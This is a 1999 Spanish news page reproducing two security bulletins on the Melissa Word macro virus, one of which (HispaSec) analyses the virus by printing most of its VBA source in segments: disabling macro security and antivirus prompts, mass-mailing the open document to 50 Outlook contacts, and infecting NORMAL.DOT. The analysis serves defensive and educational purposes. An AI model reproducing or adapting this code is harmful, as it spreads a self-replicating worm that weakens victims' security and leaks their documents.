Noticias - 29/Marzo/99 |
|
Un nuevo virus
llamado Melissa infecta 25.000 ordenadores en tres días Pocas veces la aparición de un nuevo virus ha generado tanta alarma como en el caso que nos ocupa. Melissa ha acaparado la atención de los expertos en los últimos días. Ante la facilidad de propagación de este virus reproducimos dos de los boletines españoles que se han ocupado del tema.
EL BOLETIN DE KRIPTOPOLIS - Año IV, nº 104, 27 de Marzo 1999 Este boletín especial responde a la aparición -hace pocas
horas- de un nuevo (y potencialmente muy peligroso) virus informático denominado
W97M/Melissa.
MÁS INFORMACIÓN : * El CERT (Centro de Emergencias Informáticas) está
distribuyendo http://www.cert.org/advisories/CA-99-04-Melissa-Macro-Virus.html ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-99-04-sendmail-melissa-filter.txt
Rogamos encarecidamente a todos los receptores de este
boletín AGRADECIMIENTOS Kriptópolis desea agradecer a la empresa Data Fellows
(Finlandia) su
una-al-dia (28/3/1999) - HispaSec analiza a Melissa Melissa es un nuevo virus macro para Word 8.0 y 9.0 (Office 97 y 2000) que está consiguiendo una gran difusión debido a que utiliza el email como medio de transporte. El virus, que infecta documentos y plantillas, se adjunta al correo. Al ser abierto por el destinatario lanza una macro que reenviará el virus los primeros 50 buzones que tengamos en la libreta de direcciones. El virus ha levantado una gran expectación entre todos los medios de comunicación, tan solo hay que ver al final de este documento la cantidad de referencias donde se hacen eco de la noticia. Nos hemos encontrado distintos enfoques, desde los que simplemente incitan a una alarma generalizada, hasta los que dan detalles más técnicos. Por último no podían faltar los que se quedan en las anécdotas recogidas de las diversas noticias, contando que el primer documento infectado provenía de las news y contenía passwords de sitios eróticos, ó que la frase del payload hace referencia a la serie televisiva de Los Simpsons. En HispaSec, con un enfoque más técnico y objetivo, hemos preferido hacer un análisis directo, para ello nos hemos hecho con una copia del virus. De ahora en adelante os invitamos a conocer a "Melissa" desde dentro, a través de un recorrido por su código. Lo primero que realiza el virus es interrogar al registro y comprobar que parámetros tiene que modificar, según la versión de Office, para que la seguridad sea baja. [CODIGO] ------------------------------------ Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then ------------------------------------A continuación deshabilita las opciones de seguridad, herramientas de macros, y otros parámetros, como la protección antivirus ó la confirmación para realizar conversiones, que ocultarán al usuario las acciones del virus que podrían alarmarlo. Resulta curioso observar como el virus utiliza la resta (1-1), en vez de poner directamente 0, para evitar algunas alarmas heurísticas de antivirus que saltarían al asignar dicho número directamente, ya que indicaría que se están deshabilitando las opciones de seguridad. [CODIGO] ------------------------------------ CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1) Options.VirusProtection = (1 - 1) Options.SaveNormalPrompt = (1 - 1) End If ---------------------------------------------------------Gracias a la utilidad de conversión de la que dispone Word 9.0 (Office 2000), los documentos y plantillas hechos con la versión anterior de Word (Word 8.0, Office 97) pueden convertirse a la nueva versión. Además de los documentos, esta utilidad convierte también los macros que incorpora, por lo que el virus de manera automática pasa al nuevo formato, e infecta a los usuarios de Office 2000. Esta opción de conversión de formatos requiere la confirmación por parte del usuario. Para evitar que el usuario se alarme, al ver las ventanas pidiendo si realmente quiere convertir los documentos, el virus desactiva la confirmación de versiones con la línea [Options.ConfirmConversions = (1 - 1)]. El virus crea un objeto Outlook basándose en instrucciones de Visual Basic. Chequea que el sistema no ha sido infectado anteriormente, por lo que interroga al registro y comprueba que no existe su marca en la entrada [...\Office\"Melissa?" = "... by Kwyjibo"]. En tal caso recoge las direcciones de los primeros 50 usuarios que tengamos registrados en la libreta de direcciones. Vemos que es necesario contar con Outlook en el sistema para que el virus se propague a través de email. No tenemos porque haber ejecutado Outlook para que se inicie el envío, basta con que lo tengamos instalado en el sistema. [CODIGO] --------------------------------------------------------- Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo ----------------------------------------------------------Crea un email con el asunto "important Message From " más el nombre del usuario infectado. El cuerpo del mensaje consiste en el texto "Here is that document you asked for.,, don`t show anyone else ;-)". A continuación adjunta al email el documento Word activo y lo envía. Debemos de hacer hincapié en que el documento enviado es el que tenemos activo en este momento, por lo que el virus podría estar enviando información confidencial. Para finalizar, el virus deja su marca en el registro que le indicará la próxima vez que se ejecute que el sistema ha sido ya infectado, y así no enviar los emails. Por lo tanto, el envío de mensajes con el virus sólo se efectúa una vez por sistema infectado. [CODIGO] ---------------------------------------------------------- BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End If -----------------------------------------------------------A continuación el virus procede a comprobar si el documento activo y la plantilla contienen un módulo con el nombre de "Melissa". Si no se encuentra el módulo borra las líneas existentes, lo renombra a "Melissa", y inicializa algunas variables para proceder a su infección. Todo este proceso lo hace doble, diferenciando entre documentos y plantillas. [CODIGO] ------------------------------------------------------ Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If ------------------------------------------------------El virus procede a infectar el documento y la plantilla insertando una a una las líneas de su código. Hay que destacar que en el caso de los documentos lo realiza con el módulo "Private Sub Document_Close()", y en las plantillas con el módulo "Private Sub Document_Open()". Esto supondrá que el virus se iniciará cuando un documento infectado sea abierto, y por el contrario empezará a ejecutarse cuando se cierre, afectando a otros documentos, a través de la plantilla. Esto quiere decir que una vez infectado un sistema todos los documentos que hagan referencia a plantillas infectadas, como puede ser NORMAL.DOT, se infectarán de manera automática. En algunas noticias se ha comentado que el virus se propaga a través del documento LIST.DOC, aunque este sea el documento original con el que se distribuyó el virus, queda demostrado que puede llegarnos a través de cualquier otro documento. [CODIGO] ------------------------------------- If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True End If ---------------------------------------------------------El virus contiene varios mensajes en líneas de comentarios identificando el nombre del virus, el "nick" de su autor y vaticinando que es el primero de una larga especie de nuevos virus que utilizarán este tipo de técnicas. Por último un payload basado en un mensaje que salta si el número del día coincide con los minutos. [CODIGO] ----------------------------------------------------------- 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub -----------------------------------------------------------Según las últimas noticias, la difusión que está consiguiendo el virus ha provocado verdaderos colapsos en algunos servidores de correo en compañías de la talla de Microsoft ó Intel. Este hecho ha provocado que desde sendmail.com proporcionen la forma de configurar el servidor de correo para filtrar los mensajes que contengan el virus. ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-99-04-sendmail-melissa-filter.tx Todo parece indicar que este lunes podría ser fatídico, ya que muchos usuarios corporativos no han tenido ocasión durante el fin de semana de abrir su correspondencia. Debemos de tener en cuenta que la infección se produjo el viernes, y que en tan solo dos días, no laborables, los usuarios infectados se cuentan por miles. La respuesta de los antivirus ha sido en esta ocasión muy rápida, y prácticamente la mayoría contarán en su última actualización con la información necesaria para detectar y eliminar al virus Melissa. Bastará con actualizar el antivirus a través de la opción que les permite hacerlo regularmente desde Internet de forma automática. Debido a la rápida difusión de Melissa, son muchas las casas antivirus que están ofreciendo actualizaciones específicas para que sus usuarios puedan neutralizar cuanto antes el virus : Network
Associates Más información: Network
Associates (McAfee) (26/03/1999) Bernardo Quintero una-al-día es un servicio de HispaSec (http://www.hispasec.com)
|
2024 © ASOCIACIÓN DE INTERNAUTAS. Aviso Legal | Contacto